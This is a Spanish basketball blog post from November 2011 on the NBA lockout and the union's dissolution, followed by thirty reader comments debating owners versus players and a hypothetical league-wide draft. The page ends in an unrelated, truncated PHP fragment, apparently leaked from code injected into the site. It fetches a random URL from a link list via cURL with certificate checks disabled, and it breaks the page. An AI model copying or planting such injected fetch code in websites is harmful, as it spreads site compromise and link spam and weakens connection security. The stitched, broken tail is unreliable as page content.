La temporada 2011/2012 en peligro

14 de November de 2011 por txusma

Por primera vez desde que se inició el lockout las probabilidades de que no se dispute la temporada 2011/2012 de la NBA superan la mera conjetura. Tras una reunión de 4 horas los jugadores han decidido no aceptar la última propuesta de la liga y disolver el sindicato. Era una posibilidad que ya planteamos en septiembre y que se puede calificar como el peor escenario posible a estas alturas del año. En 2 días se disolverá oficialmente el sindicato y se presentará en los juzgados una demanda contra la NBA por posición dominante en la negociación del convenio.

David Stern ha declarado tras conocer la noticia que se siente muy decepcionado y que los jugadores deberían haber aceptado un acuerdo que aseguraba una liga regular de 72 partidos. Según él, “han sido los jugadores los que han puesto en serio peligro que se pueda jugar la temporada” y se ha quejado armagamente de que ahora, “no hay nadie con quien negociar”.

Pero desde mi punto de vista, el llegar a esta situación no ha sido culpa de una de las 2 partes. En estos momentos los jugadores pueden estar en el punto de mira al haber tenido ellos en su mano la posibilidad de llegar a un acuerdo pero no nos olvidemos de que se les ha presentado un ultimátum y se les ha presionado a aceptar lo que se les ofrecía. Los propietarios y la propia liga se ha mostrado demasiado superior e intransigente y ha apretado las clavijas a los jugadores hasta llegar a esta situación. No sabemos si la disolución del sindicato por parte de los jugadores es sólo una estrategia negociadora más (un farol en toda regla) que busca asustar a los propietarios o si realmente la mayoría de los jugadores están dispuestos a quedarse sin jugar un año. Espero que hayan tenido en cuenta de que de abandonar los EEUU para jugar al baloncesto no cobrarán lo que hubiesen cobrado de dar el salto en septiembre. No sabemos si Paul Pierce, Kevin Garnett y demás “indignados” se lo habrán explicado claramente a los jóvenes y a los jugadores que ni tan siquiera han disputado un partido en la NBA.

Pero si alguien pierde con todo esto es la propia liga, la imagen de la NBA. En el resto del mundo no se puede evitar ver este conflicto sindical como una lucha entre multimillonarios y millonarios, personas egoístas e intransigentes que están poniendo en peligro un gran negocio y el trabajo de mucha gente. Pase lo que pase de aquí al verano, pasará tiempo antes de que la NBA recupere el respeto y la popularidad de las que gozaba en este momento.

Comenta

30 comentarios a esta entrada

  1. HisRoyalAirness dice:
    #1

    Estoy seguro de que si el acuerdo de vota, uno a uno, por los jugadores se acepta.
    El sindicato rechaza el trato y luego se disuelve? Estupidez, para eso no rechaces nada, si no representas, no representas.
    Y sigo opinando que un propietario está en todo el derecho de querer un 50% del beneficio del que al fin y al cabo es SU negocio

      Citar

  2. Vader dice:
    #2

    El BRI no es el único beneficio que genera la NBA… es el único al que pueden acceder los jugadores. Hay otros beneficios que son sólo para los propietarios (con toda justifica pues son los que arriesgan su dinero). Pero cuando hablamos del 50% del BRI no estamos hablando del 50% del beneficio total de la liga.

    Me parece que se esta opinando muy a la ligera de todo este asunto y casi siempre en contra de los jugadores que al final son los más débiles. Porque digo yo, que si la franquicia de Toronto, por decir una, tiene pérdidas nadie le ha obligado a firmar a Bargnani por 50 millones de dólares o Amir Johnson por 40 millones…

    Así va el mundo hoy en día, nos quitan derechos a los trabajadores y aún aplaudimos.

    Y por cierto HisRoyal, sin ánimo de entrar en polémica contigo, pero la Nba será el negocio de los propietarios pero yo pago para ver a los jugadores todo lo demás me es accesorio. Sin los jugadores no habria beneficio para NADIE.

    Saludos

      Citar

  3. Txusma dice:
    #3

    Mi postura es parecida a la de Vader. La liga tiene demasiadas franquicias. Esto provoca que se disperse el talento y que la media de la calidad de las plantillas baje. En una liga con 20 franquicias, imaginaos los equipazos que saldrían, al eliminar a los 120 jugadores más mantas que ahora mismo juegan en la NBA. Con menos equipo habría más interés para los aficionados y menos a repartir entre todos los equipos. Creo que deberían encarar tb ese problema. A lo mejor si lo hicieran, los jugadores aceptarían que realmente hay un problema económico en la NBA y aceptarían a rebajarse el sueldo pero hasta el momento, los propietarios parecen que viven en la opulencia.

      Citar

  4. Sancho88 dice:
    #4

    Yo sigo manteniendo mi postura favorable a los jugadores, y realmente nos han vendido toda la bola del BRI, cuando en realidad había muchos más puntos ‘trampa’ que se han pasado por alto. Al final, razonando un poco lo que iba a pasar a la larga era contratos más cortos y donde los jugadores cobrasen menos dinero. Es así, querían bajar el límite salarial, poner multas bestiales a los clubes que lo sobrepasaran… para forrarse aún más. No valía solo con el reparto de beneficios, sino que además los novatos iban a perder un 18% y si tienes en tu plantilla -como siempre pide Stern- una estrella que ahora mismo te va a cobrar entre 15 y 20 millones, tienes que repartir 35 entre otros 12 o 13 señores. Y si te pasas, multa al canto, así que ninguna franquicia se iba a pasar ni un dolar, porque si te pasas, ya dejas de percibir nada del fondo de compensación… y al final los jugadores no iban a cobrar la pasta que realmente están generando. Es así, ok, lucha entre multimiillonarios, pero es la realidad. La NBA genera un pastizal al año y se lo querían llevar crudo los propietarios. Creo que el acuerdo era totalmente inaceptable y es un engaño que fuera para igualar la liga. Me parece que si Los Ángeles. Boston o Nueva York, por poner tres ejemplos de franquicias que funcionan bien económicamente, generan la pasta suficiente (que la generan) para tener en plantel 100 millones de dólares, me parece una estupidez limitarlo a 55 (o menos, este punto lo querían también reducir), por poner un ejemplo. eso no va a hacer que otros buenos jugadores prefieran mercados más pequeños. Porque, realmente repartirían el dinero del fondo de compensación entre los pequeños? tengo muchas dudas… Creo que el impuesto de lujo es para crearles aún más beneficios a los que manejan la liga, sencillamente. Porque si limitan el reparto de beneficios, y están poniendo mil trampas para bajar los salarios a los jugadores, al final al jugador le están menospreciando y engañando. Creo que la NBA debería haber aceptado un reparto más justo del 48-52, y a partir de ahí todo habría sido más fácil. Han pecado de egoístas, como bien dice txusma, y ahora el marronazo queda en su tejado. Para mí, olé por los cojones de Derek Fisher y de los miembros del sindicato. Era un abuso de poder y posición preeminente en toda regla.

      Citar

  5. telekoman dice:
    #5

    ¿Y que pasa con todas las empresas con las que tiene contrato la NBA? Publicidad y cadenas de televisión como la parte más importante, pero seguro que hay muchas otras más pequeñas.

    Al final vamos a lo de siempre. Mala gestión por parte de los empresarios (el ejemplo de Bargnani en Toronto me parece muy interesante) y la forma de solucionar las pérdidas es siempre la misma.

      Citar

  6. HisRoyalAirness dice:
    #6

    Sí Vader, tù pagas por ver a los jugadores pero los ves mediante la infraestructura que la liga y las franquicias te proporcionan: estadios, staff técnico y mèdico, amén de la elección en el draft, que te permite entrar en una liga en la que cobras un mínimo juegues donde juegues y cuanto juegues.
    Me hace mucha gracia que salga el genio de Lebron a la palestra diciendo que no pueden formarse grandes equipos; claro que se puede campeòn, lo que pasa es que no podeis cobrar cada uno 20 millones de dólares. Algùn All-Star jugarIa por 10 kilos? No por dios, eso es calderilla. Lebron James, por poner un ejemplo, cobra 50 putos millones al año entre pitos y flautas y tiene màs que decir? Ha habido un montòn de franquicias de tercera línea que han tenido sus momentos de gloria en los ùltimos años gracias a buena gestión/suerte en el draft y son las que dan vidilla a la liga: Grizzlies este año, los Warriors de Baron Davis, los T-Wolves de Garnett, los Kings y los Cavs del susodicho. Si se reduce el nùmero de franquicias los agentes libres seguiran yéndose a los grandes mercados y Lakers y Celtics seguiràn acumulando anillos; con esto no digo que sea una idea descabellada pero la veo inviable y creo que injusta. Qué franquicias desaparecerían? Con que criterio decidimos, histórico o actual? Porque si es histórico y se eliminan las más recientes el Big Three de South Beach se quedaría en la calle.
    No creo que haya que proteger a los propietarios de sus malas decisiones pero éstas vienen dadas por la forma del mercado y esta es que, si eres Toronto Raptors y tienes un jugador que vale “algo” quieres quedártelo por imagen y por tus aficcionados y pagas el precio acorde al mercado.
    Dicho todo esto, estamos en recesión, hay ajustes en todo el mundo y las franquicias tienen pérdidas, conclusión: si no quereis bajaros el sueldo y apretaros el cinturón tomamos medidas a medio plazo para dejar de ser empresas deficitarias. Punto

      Citar

  7. Txusma dice:
    #7

    Yo creo que el criterio para eliminar franquicia es sencillo: cuales están en pérdidas?

      Citar

  8. HisRoyalAirness dice:
    #8

    No vale, porque los Pistons o Philly puede que estén en pèrdidas actualmente y no me parece justo. Si se hubiese hecho la criba hace 5 años pringaban otros

      Citar

  9. Viva_Dirk dice:
    #9

    Lebron cobra 50 millones entre unas cosas y otras porque lo genera, nose que demonios genera el propietario de Miami si teniendo a esas 3 figuras no es capaz de rentabilizar su imagen en muchos temas de los que los jugadores no ven un solo dolar.

      Citar

  10. HisRoyalAirness dice:
    #10

    Lebron genera esos 50 millones como imagen de marca pero porque juega en la NBA. Miami no es de las franquicias con pérdidas, al menos no en este ejercicio

      Citar

  11. Esteban dice:
    #11

    estoy del lado de varios propietarios, el tope rigido es lo mejor q le puede pasar a la nba, para hacerla mas competitiva
    como puede ser q orlando, boston, los lakers y dallas tenga contratos por 90 millones? a quien le cabve esta idea

    como puede ser q los lakers fichen a STEVEN BLAKE (!!!!!) por 4 millones, sobre el impuesto de lujo, lo q significo 8 milones (!!!!!!!!!!!!!!!!!!!!!!!) al año, para ser base reserva jugando en el TRIANGULO

    hay equipos q se matan por sus titulares por 8 millones al año y no lo pueden pagar, y los lakers pagan 8 millones por un suplente, base en una ofensiva q no le deja ni penetrar ni tirar un tiro

    los mercados grandes estan muy por ensima de los pequeños

    ESTOY POR EL TOPE RIGIDO, 3 DOLARES Y MEDIO POR CADA 1 ENSIMA DEL IMPUESTO DE LUJO, Y UNA EXCEPCION MEDIA DE 2 MILLONES

      Citar

  12. Esteban dice:
    #12

    el tope rigido seria muy conveniente en muchos sentidos, cuantos equipos con un tope rigido podrian aspirar a howard la proxima temporada? solo un par, no todos tienen espacio, pero con el tope flexible los grandes mercados seran el futuro de howard

    o alguien realmente cree q howard fichara por los pacers o los wizards por mas espacio q tengan?

      Citar

  13. Esteban dice:
    #13

    si vuelve la temporada, sin sindicato, la nba podria hacer lo q quiera, entre esas cosas un DRAFT para q los equipos eligan sus jugadores, en total
    dudo q suceda, pero, en el caso que sea asi

    QUIEN SERIA EL ELEGIDO NUMERO 1? LEBRON O HOWARD?

    EL NUMERO 3? DURANT O ROSE?

    ALGUNO SE ARRIESGARIA POR GRIFFIN entre los 3 primeros?

    q opinan ustedes?

      Citar

  14. Denise dice:
    #14

    Estoy de acuerdo con His Royal Airness…190%

      Citar

  15. Txusma dice:
    #15

    Esteban:
    si vuelve la temporada, sin sindicato, la nba podria hacer lo q quiera, entre esas cosas un DRAFT para q los equipos eligan sus jugadores, en total
    dudo q suceda, pero, en el caso que sea asi

    QUIEN SERIA EL ELEGIDO NUMERO 1? LEBRON O HOWARD?

    EL NUMERO 3? DURANT O ROSE?

    ALGUNO SE ARRIESGARIA POR GRIFFIN entre los 3 primeros?

    q opinan ustedes?

    Esteban, en unos días vamos a empezar las votaciones para nuestro particular ranking.

    #tjrank Allá vamos!

    (Hay q entretenerse como se pueda)

      Citar

  16. Uno cualquiera dice:
    #16

    Txusma: Esteban, en unos días vamos a empezar las votaciones para nuestro particular ranking.

    #tjrank Allá vamos!

    (Hay q entretenerse como se pueda)

    Bueno, no es lo mismo un ranking de los mejores jugadores que el hipotético orden en el que saldrían elegidos de realizarse un draft fantasía, donde se tendrían en cuenta más factores como edad, calidad de otros jugadores en su posición, importancia de su posición…

    Creo que sería interesante que hicierais ambos rankings 🙂

      Citar

  17. Viva_Dirk dice:
    #17

    Podemos plantearlo de la siguiente manera:

    A quien elegirias si tuvieras que ganar el anillo del 2012, sin importar los siguientes.

    Eso le da cierto valor a jugadores mas veteranos y deja con algo mas de incertidumbre a los jóvenes.

    ¿como lo veis?

      Citar

  18. Esteban dice:
    #18

    exacto!! obviamente q kobe por mas gran jugador q sea no estaria ni entre los primeros 10, creo, por su ultima temporada y por su edad, quiza en el rank seguramente estaria muy alto

    propongo hacernos los GM, de cualquier franquicia y elegir los jugadores del draft, OJO TAMPOCO ES TAN DESCABELLADO, HOY POR HOY NADIE TIENE CONTRATOS Y SIN SINDICATOS NO HAY REGLAS Q VALGAN, ESTO LEGALMENTE PODRIA OCURRIR, AUNQUE SABEMOS Q NO LO HARA

    yo creo q voy por el 1 DE HOWARD, no hay otro pivot como el en tota la liga, en cambio perimetrales pasables, anotadores y buenos jugadores abundan

    aunque no soy fanatico de THE KING, todo lo q toca lo hace oro, o casi plata y creo q para varios seria el 1

    mirando el perspectiva a mas años, el mvp mas joven de la historia como rose, o el ultimo goleador de las ultimas dos temporadas y finalista del oeste durant

    para algunas franquicias q les importa mas el dinero q los titulos, podemos decir los clippers, los warriors, o mercados pequeños q no podrian competir por un titulo, new orleans, toronto o charlotte, CREO Q ELIGIRIAN A GRIFFIN, LLENA ESTADIOS, VENDE CAMISETAS Y BRILLA EN UNA CANCHA POR SI SOLO AUNQUE SU EQUIPO NO GANE

    q opinan? me olvide de alguno de los probables 5? estan deron, paul, melo o el mismisimo curry en posicion de meterse tan alto en el hipotetico draft y crean una franquicia al rededor de ellos?

    los escucho

      Citar

  19. Vader dice:
    #19

    Como hombre interior despues de Howard creo que Stoudemire a ganado muchos enteros este año con su temporada en New York. Es uno de los interiores más determinantes de la NBA, sobretodo a nivel ofensivo.

    Y a demostrado que puede tirar del carro.

    Saludos

      Citar

  20. Esteban dice:
    #20

    vader coincido por stoudamire se volvio determinante esta temporada, sobre todo antes de la llegada de carmelo, y tremendo en el primer partido contra boston sobre el final, sencillamente brillante!!!
    peeeeeeeeeeeeero

    las constantes lesiones en sus rodillas, y q nadie lo quiere asegurar, recordad q firmo por 100 millones sin seguro (!!!!!!!!!!!!!!!) creo q le baja muchos puntos como una eleccion alta

    por otra parte howard se come en defensa a amare, y este ultimo no puede defender ni a howard ni a nadie, y ademas tiene poca voluntad para tomar rebotes

    no os parece?

      Citar

  21. HisRoyalAirness dice:
    #21

    Me parece interesante el debate sobre quién elegiríamos nùmero 1 de un draft global, es decir, alrededor de quién construiríamos un equipo ganador. Yo tengo mis dudas pero 2 apuntes:

    Si habéis dicho que sería para conseguir el anillo este año, QUE KOBE NO ESTÁ NI ENTRE LOS 10 PRIMEROS?? Venga, no me hagais reir anda. Pues me lo quedo yo de número 1.
    Si tuviese que elegir a conciencia dudaría entre Kobe, Durant, Paul, Wade, Dirk, Howard y Rose, jugadores que me parecen determinantes DE VERDAD con el agua al cuello.

    Y nunca tragaré con lo de que Stoudamire es un “pivot” determinante. Ni es pivot ni defiende a nadie, pero a nadie con un mínimo de nivel. Anota, vale, pero eso sirve en RS, en playoffs hacen falta màs cosas, no meter 30 puntos de vez en cuando y ya. Su carrera en PO frente a emparejamientos de nivel ha sido traje tras traje Es uno de los jugadores que mAs odio de la NBA, ya sé que se me ve el plumero.

    Habría que hacer un Draft de varias rondas y sortear cada ronda por separado no? Molaba

      Citar

  22. Nacho dice:
    #22

    Yo también quiero a Kobe de 1. Sobre todo si pensamos hacer un equipo para el título en 2012.
    De hecho, se que no están de moda porque la cagaron este año, pero yo juego a ser GM de los Lakers, y realmente busco un 3 buen defensor y con regularidad en ataque sin ser gran anotador. ¿Kirilenko? La verdad es que estoy todavía alucinado con el traje que le hizo la otra noche a Unicaja, pero me parece de los mejores de esas características. Supongo que habrá más que vosotros conoceréis mejor. Me dejo asesorar.
    Otro cambio es el base. Obvio que teniendo a Kobe no me dejáis en primera ronda a Deron. Tampoco se si encajaría demasiado, 50 puntos llevan entre Kobe y Pau, y un base anotador quizás no es interesante, pero si el de los Nets baja a 10-15 ptos por partido sería la hostia. A mí me sigue pareciendo el mejor en su puesto.
    Por cierto, HisRoyal, yo tampoco puedo con Stoudemire. ¡Pillaba antes a Bargnani!

      Citar

  23. Viva_Dirk dice:
    #23

    Hombre Nacho, ya que te dejas asesorar vamos a intentarlo:

    – Parece claro que Artest esta a otras cosas y además tiene un contrato intraspasable, pero esta Matt Barnes que encaja en el papel que tu describes como suplente. Desde luego que Kirilenko seria un opción tremenda, pero es demasiado bueno como para aceptar la mid-level, a mi el que me parece mas apropiado y a la vez puede cobrar eso es Prince y detrás de el Battier.

    – El puesto de base si puede ser un problema serio, Fisher se sabia el triangulo de memoria y lo que ha demostrado Blake es poquísimo, para mi sería prioritario por delante del alero. El problema es que hay poquísimo en el mercado, a mi me gusta especialmente Ronnie Price que es muy buen defensor y aprovecha bien las ventajas en ataque.

      Citar

  24. Esteban dice:
    #24

    creo q se confunden con kobe, cual seria el motivo para elegirlo 1? cuando tiene 33 años, viene de su peor temporada desde el 2000 y cuando tanto, lebron, rose, durat y dirk llevaron a sus equipos mas lejos que kobe el año pasado

    decir q con kobe se saldria campeon en el 2012, no tiene sustento, nisiquiera pudo meter a su equipo en finales de conferencia la pasada temporada y este año sera un poco mas viejo y un poco mas lento

      Citar

  25. Viva_Dirk dice:
    #25

    Bueno, si no sería Nº1 para ganar el anillo 2012 estoy seguro de que de media sale top3 segurísimo si hacemos un draft con ese único objetivo.

      Citar

  26. Esteban dice:
    #26

    la idea no era hacer un draft para ganar el anillo el proximo año, sino un draft para iniciar tu franquicia, por eso digo que kobe no estaria en los 10 primeros, no puede asegurar q jugara en gran nivel mas alla de los proximos 2 años, y tienen jugadores como durant y rose a quienes les quedan 10 años de elite

    a eso me referia

      Citar

  27. Viva_Dirk dice:
    #27

    De todas todas Kobe estaría entre los 10 primeros en cualquier tipo de draft, para iniciar tu franquicia no hay nada mejor que empezar ganando y para eso Kobe es de los mas indicados.

      Citar

  28. Esteban dice:
    #28

    y nose, quiza si, los primeros 5 puestos estan claros, howard, lebron, durant, rosa y griffin
    los otros 5 puestos, se puede ver quienes serian los elegidos, hay varios jugadores jovenes con gran potencial, yo preferiria jovenes menores de 25 años, pero bueno son elecciones

      Citar

  29. Denise dice:
    #29

    Mi ranking sería

    10- Pau Gasol
    9- Paul Pierce
    8- Dirk Nowitzki
    7- Dwyane Wade
    6- Kobe Bryant
    5- Kevin Durant
    4- Blake Griffin
    3- Dwight Howard
    2- Derrick Rose
    1- Lebron James

      Citar

  30. Esteban dice:
    #30

    es un buen top 10, pero no descartaria a los jovenes como westbrok, wall o el mismo curry, son jugadores muy pero muy jovenes de los q puedes empezar una franquicia

    pierce y gasol por sobre deron y cp3??

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>